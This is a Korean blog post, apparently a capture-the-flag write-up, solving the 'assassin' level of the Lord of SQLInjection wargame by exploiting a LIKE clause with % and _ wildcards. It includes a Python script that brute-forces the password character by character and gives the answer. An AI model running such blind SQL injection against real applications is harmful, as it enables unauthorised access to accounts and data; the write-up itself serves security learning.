Youngjin's Log

[los] 15번 문제 - assassin 본문

Web/Wargame&CTF

[los] 15번 문제 - assassin

Youngjin. 2018. 11. 14. 18:28

15번 문제 - assassin



php 코드 분석

쿼리 조건문에 pw가 like로 되어 있습니다.

입력한 값에 해당하는 id가 출력되는 코드입니다.

그 출력되는 아이디가 admin일 경우 클리어 됩니다.


TIP

쿼리 조건문에 like를 유심히 보시면 됩니다.

like는 흔히쓰는 =과 다른 개념이기때문에, 활용할 수 있는 방법이 많습니다.

예를 들어, %를 입력할 시에 모든 값을 출력하고 %__%라고 입력하면 2글자이상의 결과를 출력합니다.

또한 %test로 뒤에 test가 붙는 문자열을 출력할 수도 있고 test%로 test가 앞에 붙어 잇는 문자열을 출력할 수도 있습니다.

흔히 like는 웹페이지에 상품 또는 게시글 검색란에 많이 쓰이는 방법이라고 생각하시면 좋을 것 같습니다.

이 개념을 이용하여 1%, 2% 등등 어떠한 값이 첫번째자리에서 반응하고 두번째 자리에서 반응하는지를 찾으면 될 것 같습니다.

답은 다양한 형태로 올 수 있습니다.


코딩은 동작해서 원하는 값을 얻을 수 있게만 되어 있는거라 다른 분들처럼 최적화된 코드가 아닐 수도 있습니다. 그저 입력하는 노동을 조금 덜하기 위해서 빠르게 작성해본 것입니다.

import requests

URL = 'https://los.eagle-jump.org/'
cookies={'Cookie':''}
ch = ''

asciis = []
req1 = ''
req2 = ''
num = 1
guest = 'Hello guest'
admin = 'Hello admin'
clear = 'Clear'

for a in range(48, 95):
asciis.append(chr(a))
for a in range(96, 127):
asciis.append(chr(a))

alen = len(asciis)

for i in range(1, 10):
req1 = req2
if num == 0:
break
for j in range(1, alen):
req = requests.get(URL+ch+"?pw="+req1+asciis[j]+"%", headers=cookies)

response = req.text
print("?pw="+req1+asciis[j]+"%")

# 문자열 비교해서 출력하기
if admin in response:
num = 0
print('admin')
req2 = req2+asciis[j]+"%"
break
elif guest in response:
print('guest')
req2 = req2+asciis[j]
#결과 출력
print('답은 : '+req1)



답은 다양한 형태로 올 수 있습니다.

그중에 제가 사용한 답입니다.(드래그해서 확인해주세요.)


?pw=832%


'Web > Wargame&CTF' 카테고리의 다른 글

[webhacking.kr] 1번 문제  (2) 2018.11.14
[webhacking.kr] 회원가입하기  (0) 2018.11.14
[los] 14번 문제 - giant  (0) 2018.11.14
[los] 13번 문제 - bugbear  (1) 2018.07.26
[los] 12번 문제 darkknight  (0) 2018.07.12
Comments